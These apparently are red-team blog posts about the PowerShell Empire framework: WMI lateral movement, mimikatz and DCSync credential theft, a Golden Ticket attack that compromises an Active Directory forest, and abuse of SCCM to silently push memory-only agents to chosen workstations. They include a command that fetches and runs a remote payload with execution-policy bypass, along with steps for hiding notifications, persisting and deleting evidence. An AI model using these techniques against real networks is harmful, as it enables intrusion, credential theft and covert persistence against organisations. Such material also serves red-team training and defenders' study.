Now that we’ve confirmed access, let’s trigger an agent on the remote system. Empire has a variety of lateral movement options, but for this case study we’ll stick to WMI. Let’s load it up with usemodule lateral_movement/invoke_wmi:


After setting the Listener and the ComputerName fields we can kick off execution. In situations where you can’t get into the context of a user that has access to a target, but you have their credentials, you can set the CredID field to the entry that corresponds to that particular credential set.


Success, we have a new agent! Let’s pillage this new host with mimikatz:


W00t, we now have plaintext domain administrator credentials!


It is important to note that after moving laterally via WMI you will face something called the “double-hop problem”, meaning your new agent context can’t be used to jump to additional machines. We can resolve this by injecting into another process or stealing the token of another user. In our case we can easily inject into a process by using the management/psinject module. Let’s find a process owned by “will-da”:


The psinject module has 2 required arguments- the listener you want the new agent to stage from and the PID of the process you wish to inject into.


With an agent running in the context of the domain admin in dev.lab.local we can verify our access by executing a shell dir on C$ of a domain controller. First let’s identify the domain controllers for our current domain with the situational_awareness/network/powerview/get_domain_controller module:


Now let’s verify the access:


Hopping the Trust

Domain Admin credentials for DEV are fun and all, but what we really want is Enterprise Admin access in the parent lab.local domain. To verify that the dev->lab trust relationship exists, let’s first use the situational_awareness/network/powerview/get_domain_trust module:


The output confirms that there is a Bidirectional trust between dev.lab.local and its parent lab.local. Since this is a forest trust we can leverage our DA credentials in the child to compromise the entire forest! But before we do, we need a few pieces of information.

First we need to get the SID of the parent domain by resolving the LAB\krbtgt account to its security identifier with the management/user_to_sid module:


Next, we need to get the hash of the krbtgt account for the dev.lab.local child domain. Benjamin Delpy and Vincent Le Toux have us covered with Mimikatz’ DCSync functionality, which is implemented in Empire’s credentials/mimikatz/dcsync module. All we need to do is fill in the UserName option:


Empire nicely parsed the output for us and threw it into the credential store:


We now have all the information we need to execute the external SID history Golden Ticket attack which will allow us to compromise the root of the forest. Empire implements Mimikatz’ Golden Ticket functionality in credentials/mimikatz/golden_ticket. Since the hash of DEV\krbtgt was scraped and thrown into the credential store we can simply enter the credential ID in the CredID field within the Golden Ticket module. Then all we need to do is specify a user and an external SID for the ticket. When specifying the SID, we need to take the “502” off the end and add a “519” to construct the full SID of lab.local\Enterprise Admins.


With the ticket created, we can now use DCSync to extract the krbtgt hash of the parent lab.local domain:


Now we have both hashes of the krbtgt accounts for both domains:


It’s not really necessary, but let’s go ahead and repeat the Golden Ticket process with the krbtgt hash of lab.local. We just have to specify the CredID for the lab.local krbtgt account, the username and the domain (lab.local) since the module remembers the sid options:



As you can see above, we were able to successfully create another Golden ticket using the krbtgt from the parent (lab.local) domain.

Just to make sure everything went smoothly, we can test access to the lab.local Domain Controller by hitting C$:


Hopefully this post showed you how Empire can help execute a complete engagement from initial access to complete forest compromise. Stay tuned for additional posts in the “Empire Series” where we’ll dive into more of Empire’s functionality!

Targeted Workstation Compromise with SCCM

In most Red Team engagements, strategic lateral movement is a must. Unlike a lot of typical network penetration tests, a Red Team engagement often requires stealth, creativity and a very limited number of hosts touched on the network. Most Red Teams have their “go to” method for moving laterally within a target network in a surgical manner. Some teams get caught up in their normal tradecraft and tend to overlook other creative ways to clinically dissect a network during the hunt for the crown jewels. This post will cover a non-traditional way to strategically target and compromise computers by abusing Microsoft’s System Center Configuration Manager, more commonly known as SCCM.

If you aren’t familiar with Dave Kennedy’s talk on compromising a SCCM server and deploying malware enterprise wide, you can read about it here:

*Note: Assuming you have elevated access, you will likely already have access to the majority of the workstations. The purpose of this post is to demonstrate strategic lateral movement without using standard methods.

What is SCCM?

TL;DR, SCCM is a platform that allows for an enterprise to package and deploy operating systems, software, and software updates. It allows for IT staff to script and push out installations to clients in an automated manner. You can kind of think of it as a customizable, scriptable WSUS. There’s more information about SCCM here:

If you can gain access to SCCM, it makes for a great attack platform. It heavily integrates Windows PowerShell, has excellent network visibility, and has a number of SCCM clients as SYSTEM just waiting to execute your code as SYSTEM.



This post is going to assume that you have the ability to identify and compromise a SCCM installation. In most situations, this will likely involve compromising an elevated account (such as a server administrator) that allows for access to the SCCM server itself. This type of attack is handy in situations where you have elevated credentials (either domain or local) to select servers but not all workstations. This is often the case in enterprises with good group separation and control over local administrative accounts in the domain.

Using SCCM to Select a Target:

Often times, using RDP to access a resource as a Red Team can be very useful but also somewhat risky. In most situations as an operator, you have to weigh the risk versus the reward. For this attack, RDP will be used to access the Configuration Manager Console on the SCCM server. When you get in and start the Configuration Manager Console, it will look something like this:


Most organizations will setup SCCM to “clone” Active Directory in order to pull in computer objects by using a Discovery Method referred to as “Active Directory System Discovery”, as well as user objects by using the discovery method “Active Directory User Discovery”. These discovery methods will enumerate computer and user objects based on a supplied container or LDAP query. Within this structure, there are a few ways that SCCM correlates which users use what computer. The most common is implementing “User Device Affinity” or setting the “Primary User” for a computer object. Whichever it may be, IT staff needs a way to map what computers belong to what people. By doing so, they are able to push specific software out to a specific person or group of people. In many cases, an organization will create “Device Collections”, which are containers for specific purposes. By throwing computer objects into a Device Collection, IT is able to push specific software out to that specific group (for example, pushing out QuickBooks to the Finance Department).

Since there is usually a nice user-to-device mapping within SCCM, we can go to “All Users” and find a nice list of users. This allows you to determine whom you want to target and determine what computer they are on (if they have mapping setup). For this example, we are going to target the user “Chris”. Below is an example of what the user list will look like. As you can see, there is an object called “Primary Device”. Clicking on this will pull up the computer object that the selected user owns. It is important to note that there are a few different ways to do user->device mapping in SCCM. It is up to you to determine how the mapping is setup in order to identify your targets.


With this information, we now know that the user “Chris” owns “CORPWKSTNX64”.


 Another way to target a specific user or group of users is to identify the computer names of your targets. This can often be acquired by conducting a little network recon. One common method of identifying targets is to use Invoke-UserHunter from PowerView (written by my co-worker @harmj0y). You can read a bit about user hunting on his blog here. Organizations often have some sort of naming scheme for their computers or they have some sort of identifiable information in Active Directory. After all, IT staff likely needs to know what users are on what computers for support requests. If you identify your targets, you can create a group just for them. This will allow you to create your target set, group them all together, and push agents to them simultaneously.

You can accomplish this by going to the “Assets and Compliance” tab and clicking on “Device Collections”. This will bring up any device collections that have already been created. You can create your own by right clicking and selecting “Create Device Collection” and giving the collection a name. It will also ask you to specify a limiting collection. Normally, you want to set this to “All Systems”. This will limit what computers are available to be added to the collection.


 Hitting “Next” will take you to the screen that allows you to specify membership rules. You can either create membership rules now and add your targets, or you can just click “Next” and “OK” on the warning to move on. I often just click through this section and opt to add my targets to the collection later. After all this is done, you will have a collection for your specific targets.

You can then add your targets to your target collection by clicking on “All Systems” and typing or finding the computer names you wish to specifically target.


When you find a target computer, just right click on it and select “Add Selected Items” -> “Add Selected Items to Existing Device Collection”.


 From there, just select your device collection and click “OK”. You can click “Device Collections” on the left, and then double click on your device collection to make sure your targets are in the collection before deploying your payload.


By strategically selecting your targets and placing them into a device collection, you are able to deploy your payload in a controlled and surgical manner.


Using SCCM Application Deployments for Targeted Workstation Compromise

The easiest way to abuse SCCM’s functionality without touching disk on your targets is to host your payload on the SCCM server and use PowerShell to grab the payload and execute it. In most situations, SCCM admins will create a publicly available share to host the software packages. In some situations, you may need to browse around to see how they are hosting installation files. Administrators will typically place all installation files in a predictable folder (all Flash installation files in Flash_15.0.0.1, for example). When they create a new package or application and push it to the clients, the client will often download the files, run the installation script and then delete the files off of disk. This is fine for normal administrative tasks, but it isn’t ideal when being used in a malicious context. To avoid touching disk on the client, we will use a method to fetch the payload content over UNC.

The first step is to host our payload. For this example, I will be using PowerShell Empire by generating a .ps1. Once generated, you can copy the contents into a text file and host it on a reachable share. In this instance, the hosting folder is “sccmsource” and the stager will be “Install.txt” in the “LegitApplication” folder. So, the complete path to our Empire staging code will be “\\sccm2012.lab.local\sccmsource\LegitApplication\Install.txt”. A nice aspect of SCCM is that it can be heavily administered via PowerShell, which makes malicious PowerShell less obvious.


With our payload hosted, we can now begin to create our application for deployment to select targets throughout the network. To do so, select the “Software Library” tab and then select “Application Management”. From there,  right click and select “Create Application”. After doing so, you will be presented with a box to start the creation process.

The first box will ask you to either specify the application install type or to manually specify the application install type. For this, we are going to select “Manually specify the application information” and then hit next.


On the next screen, we need to give our application a name and provide a little bit of information. Once provided, hit next until you see the “Deployment Types” section (you can skip the “Application Catalog” section unless you need to add in any additional information). For our purpose, the less information provided, the better.


Once you reach the “Deployment Types” section, click “Add” to add a new deployment type. Doing so will open a window that will get you started on configuring your application.

Under the “Type” section, we are going to select the “Script Installer” option.


Hitting next will move you on to the “General Information” screen. This is where you will enter a deployment name and language. I normally use the same name as the application.


Clicking on next will move us to the most important part of the application creation…the payload. For this section, we are going to leave the “Content Location” field empty. In normal cases, this is where an Administrator would specify the location of the application installation files. Since we want to avoid touching disk, we will leave that blank.

This brings us to the “Installation Program” and “Installation start in” fields. This is where we are going to place the command that will grab our payload and execute it. The “Installation Program” will look something like this:

cmd.exe /c “powershell.exe -ep bypass -c “gc \\serverName\sharedFolder\ApplicationFolder\payload.txt | iex””


Note: you may be wondering why we don’t just set the “Installation Program” to be a PowerShell encoded command with the payload text. This is because SCCM unfortunately imposes a length restriction limit of 1024 characters for the specified program. You could potentially use a trimmed IEX “download cradle”, but you’ll likely hit the length restriction if you want to include things like proxy enumeration or a user-agent with it. Also, it’s nice to keep the reach back from the client confined to ‘normal’ behavior (e.g. UNC path execution instead of HTTP).

 Once we have the program set, we need to specify where the installation is going to start in. Since the “Installation Program” field took only “cmd.exe”, SCCM is asking us to specify the location of “cmd.exe”. So for that field, we are going to put “C:\Windows\System32”.


What this will do is use cmd.exe to start PowerShell, and then use PowerShell’s Get-Content (gc) to reach out to “\\sccm2012\sccmsource\LegitApplication” and grab the contents of “Install.txt”. Once it has that, the code is passed to Invoke-Expression (iex) to execute it. This allows us to execute our payload on the target without dropping a file to the file system.

With that configured, we can proceed to the “Detection Method” menu. The options specified here will tell SCCM how to determine if the client already has the target application installed or not. SCCM will check the specified options before installing the application in order to prevent multiple installations. Since we are running our payload in memory there isn’t really much to check, but as this part is required, we can just populate it with bogus information.

To do this, click “Add Clause” and change the type to “Folder”. I normally just set the path to “C:\” and the “File or Folder Name” to random text. Once you have that set, make sure you specify “The file system setting must exist on the target system to indicate presence of this application”.


With that set, we can click “OK” and “Next” to move onto the “User Experience” section. This lets you dictate how silent you want the installation to be, as well as what context you want the installation to take place (userland or system). For this example, we are going to set the “Installation Behavior” to “Install for System”. We are then going to make sure we can push our agent regardless if the user is logged on or not, allowing us to push agents in the middle of the night if needed. Finally, we want to make sure to set the “Installation Program Visibility” to “Hidden”. This will hide any and all things from the user. 😀


Once done, we can hit “Next” through the “Requirements” and “Dependencies” sections. With that done, we now have our malicious application created. Next step, deployment! To deploy our newly created application, just right click on it and select “Deploy”.


This will bring us to the screen to specify our targets. Clicking on “Browse” next to “Collection” will bring up all of the user and device collections that exist. You can either deploy to a specific user (if a user collection for them exists) or you can deploy to a specific device collection. You can click the “User Collection” drop down to move in between user and device collections.


Once you have your collection selected, clicking “OK” will move you onto the remainder of the deployment setup. You will want to skip the “Content” section and click “Next” until you reach the “Deployment Settings” portion. In this section, you want to set the “Purpose” field to “Required”.


Clicking “Next” will take you to the scheduling section. All you have to do on that page is make sure the “Installation Deadline” is set to “As soon as possible after the available time” (which is set by default).

On the next page, you will find the settings for the user experience. Here, you want to make sure you set the “User notifications” to “Hide in Software Center and all notifications”.


Once done, you can click through the “Alerts” section and finish the deployment. This will push the application out to the computers in the device collection specified. You can verify the deployment by clicking on the application and looking at the deployments on the bottom.


Once a target checks in, it will detect that it has a new deployment pushed to it and it will try to install the application. Since we simply provided commands to run via the command prompt, it will start PowerShell, grab the content of our payload off of the SCCM server, and then execute it. In this example, we get a SYSTEM level Empire agent back:


Once you get agents on the targets, I highly recommend that you delete the deployment, the application, and the device collection that was created.

Alternate method of Code Execution

Say you don’t want to put your payload up on a share in order to abuse the “Get-Content | iex” method previously mentioned. Another option is to abuse the “Use a custom script to detect the presence of this deployment type” functionality. This allows you to specify custom code (either in PowerShell, VBScript or Jscript) that will be executed at the very beginning of the deployment during the installation check phase.

Note: The code in the script detection portion does NOT run as SYSTEM, but rather in userland. SCCM also drops the script into C:\Windows\CCM\SystemTemp, executes it and then deletes it. Because of this, it will leave a forensic artifact on disk.

To do this, follow the instructions above for creating an application. Once you reach the “Content” portion, you can put garbage in the “Installation Program” field and leave the “Installation start in” field blank:


When you get to the “Detection Method” portion, select “Use a custom script to detect the presence of this deployment type” and click “Edit”. This will open the prompt to put in your custom code (our payload). SCCM does require that PowerShell scripts be digitally signed, so any PowerShell code pasted in the custom script box will not be executed unless there’s a digital signature. If you attempt to bypass execution policy (powershell.exe –ep bypass –c “code”) it will still fail. This is because SCCM takes the content of the script you provided, writes it to a .ps1 on the target and tries to execute it, so the system’s default ExecutionPolicy will apply.

To bypass this, we can use VBScript to execute our PowerShell payload. The code to put in the script box will look something like this:


You can find the VBScript wrapper code here. This is essentially a VBScript wrapper that executes a PowerShell Empire stager. You can replace “objProcess.Create “code”” with whatever PowerShell code you would like. You can then proceed to finish creating and deploying the application. When the client grabs the application, it will run this VBScript first and execute our payload in user level context.


Another amazing feature about SCCM is that it will grab the application and execute it after a reboot. As long as the application we created is deployed to our targets, it will execute our payload when it checks in after a reboot. Because of this, we have persistence on our target group of computers without needing to drop a file to disk, or utilize any of the traditional persistence methods.


As an attacker, you can abuse SCCM to scope out targets on the network, group selected targets together, and push out a memory only agent to those selected targets simultaneously as either a normal user, or as SYSTEM.  SCCM is often a “Management Point” for most (if not all) workstations in the enterprise, and because of this, the SCCM server will often have great, if not complete visibility into the entire network. SCCM clients will also re-execute our payload after a reboot, allowing us to remain persistent on a machine without dropping a file to disk. Because of these features, SCCM makes for a great platform to silently push agents out to select workstations without the need to use normal lateral movement methods.

Empire Tips and Tricks

Empire Tips and Tricks

 Since the release of Empire at BSides Las Vegas, the project has received a lot of great feedback and use cases. While @harmj0y, @sixdub and myself worked really hard on documenting all of Empire’s features, there are a few tips and tricks that weren’t documented that can be of use. I wanted to cover some additional Empire functionality so you can get the most out of the framework.

Generating a Launcher

Empire stagers are the various methods you can use to trigger Empire agents on systems. The ‘launcher’ format generates the straight PowerShell one-liner to start the staging process, and one we commonly use in engagements as well as testing. If you are simply in need of the PowerShell one-liner, you can simply type “launcher <listenerName>” from the listener menu and this will quickly generate the one-liner for you. The listener names are tab-completable.



Renaming Agents

After receiving agents, there are also a few shortcuts that will help you easily with shell management. When an agent comes in, it will always have a randomized name. Since this can sometimes make for difficult agent identification, Empire allows you to rename agents using “rename <oldAgentName> <newAgentName>” from the agents menu:


Alternatively, you can do this within the context of an agent by typing “rename <newName>”.



Stale Agents

When dealing with multiple agents, determining which ones are active and which ones have died can be accomplished by typing “list stale” in the agents menu. This will list any agents that are no longer active.



You can then remove all stale agents by typing “remove stale”:


You can also list any agents that haven’t checked in in a period of time by typing “list x”. X will be the minute window for the agent check-in. For example, “list 5” will list all agents that have called back in the last 5 minutes.



Mass Agent Configuration Changes

Empire also allows for basic configuration changes to multiple agents at once. You can accomplish this by typing “<command> all <parameter>”. For example, you can set the sleep for all agents to “0” by typing “sleep all 0”:



Process Listing

When searching for a specific process, Empire allows you to specify a process name with the “ps” command. To search for a specific process, you can simply type “ps <ProcessName>” to list all processes that contain that name.



High Integrity Agents*

Several Empire modules require a high integrity context in order to perform certain post-exploitation agents. For example, Empire supports the use of Mimikatz to obtain credentials from memory. High integrity agents will always be identified by an asterisk (*) next to the UserName, and this information can be seen as well by running info in an agent menu. You can check if your current user is a local administrator in a medium integrity context (meaning a bypassuac attack should be run) by running the privesc/powerup/allchecks module.



The Credential Store

Empire will automatically scrape/parse Mimikatz output and throw the results into an accessible credential module that’s stored in the backend database. You can view the credentials by typing “creds”.



Searching the Credential Store

The credential store will hold both hash and plaintext credentials. Empire allows for you to search/filter the credential store, so if you are looking for specific users, you can type “creds <searchTerm>” to show all credentials matching that term.


You can also filter by plaintext/hashes by typing “creds plaintext” (for all plaintext creds) or “creds hash” (for all hashes).



Adding Credentials to the Credential Store

If you have credentials that weren’t automatically added into the credential store, you can manually add them by typing “creds add <domain> <username> <password>”:



Removing Credentials

You can also remove credentials from the credential store by typing “creds remove <credID>/<credID-credID>/all”. You can remove a single credential by specifying the CredID, remove a set of credentials by specifying the range of CredIDs, or you can remove all credentials by specifying “all”.



Exporting Credentials

Empire also allows you to export the credential store to a CSV. You can achieve this by typing “creds export <filePath>\file.csv”:



Using CredIDs

Each set of credentials is assigned a unique CredID, and you can use this CredID within modules that require credentials:


Alternatively, you can unset the CredID of a module by typing “unset CredID”. This can be used to unset any options that are set within a module. By using “unset”, it will clear out the value of the option specified.

You can also use the CredID with the “pth” command to execute use the Mimikatz PTH module with the credentials in the credential store.



You can then use “steal_token <pid>” to steal the token of the newly generated process.



Disaster Recovery

Sometimes, things don’t always go your way. In the event of an Empire crash on the server side, you won’t lose all of your access. The agents will run in memory on the target and will keep calling home, even if your listeners are down. Empire utilizes a backend database that preserves Empire’s configuration (such as listeners). In the event of a crash, simply start empire back up and wait for your agents to check back in:





Once Empire fires back up, your agents will slowly begin to trickle back in. You can also manually browse the Empire database by opening SQLiteBrowser in Kali and pointing it to “/data/empire.db”. This will allow you to see what all Empire retains in the backend database as well as make changes:






These are just a few tips and tricks that we often use when interacting with Empire. Hopefully they are of some use as well! If anyone has any questions, issues, or pull requests, hit us up on Github or in the #psempire channel in Freenode.